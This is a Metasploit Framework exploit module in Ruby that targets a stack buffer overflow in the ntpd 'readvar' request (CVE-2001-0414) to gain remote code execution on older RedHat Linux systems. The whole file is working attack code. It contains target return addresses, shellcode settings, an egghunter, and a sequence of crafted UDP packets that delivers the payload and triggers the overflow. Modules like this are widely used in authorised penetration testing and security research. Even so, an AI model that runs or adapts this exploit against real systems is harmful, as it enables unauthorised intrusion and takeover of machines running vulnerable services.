##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NTP daemon readvar Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack based buffer overflow in the
        ntpd and xntpd service. By sending an overly long 'readvar'
        request it is possible to execute code remotely. As the stack
        is corrupted, this module uses the Egghunter technique.
      },
      'Author'         => 'patrick',
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => 
        [ 
            [ 'CVE', '2001-0414' ],
            [ 'OSVDB', '805' ],
            [ 'BID', '2540' ],
            [ 'URL', 'http://www.kb.cert.org/vuls/id/970472' ],
        ],
      'Payload'        =>
        {
          'Space'    => 220,
          'BadChars' => "\x00\x01\x02\x16,=",
          'StackAdjustment' => -3500,
          'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "xor eax,eax mov al,27 int 0x80").encode_string, # alarm(0)
          'Compat'   => 
          {
            'ConnectionType' => '-reverse',
          },
        },
      'Platform'       => [ 'linux' ],
      'Arch'     => [ ARCH_X86 ],
      'Targets'        =>
        [
            [ 'RedHat Linux 7.0 ntpd 4.0.99j',     { 'Ret' => 0xbffffbb0 } ],
            [ 'RedHat Linux 7.0 ntpd 4.0.99j w/debug',   { 'Ret' => 0xbffff980 } ],
            [ 'RedHat Linux 7.0 ntpd 4.0.99k',     { 'Ret' => 0xbffffbb0 } ],
            #[ 'FreeBSD 4.2-STABLE',       { 'Ret' => 0xbfbff8bc } ],
            [ 'Debugging',           { 'Ret' => 0xdeadbeef } ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Apr 04 2001',
      'DefaultTarget' => 0))

      register_options([Opt::RPORT(123)], self.class)
  end

  def exploit

    hunter  = generate_egghunter
    egg     = hunter[1]

    connect_udp

    pkt1 = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x016stratum="
    pkt2 = "\x16\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00"

    sploit =  pkt1 + make_nops(512 - pkt1.length)
    sploit[(220 + pkt1.length), 4] = [target['Ret']].pack('V')
    sploit[(224 + pkt1.length), hunter[0].length] = hunter[0]

    print_status("Trying target #{target.name}...")

    print_status("Sending hunter")
    udp_sock.put(sploit)
    sleep(0.5)

    print_status("Sending payload")
    udp_sock.put(pkt1 + egg + egg + payload.encoded)
    sleep(0.5)

    print_status("Calling overflow trigger")
    udp_sock.put(pkt2)
    sleep(0.5)

    handler
    disconnect_udp

  end

end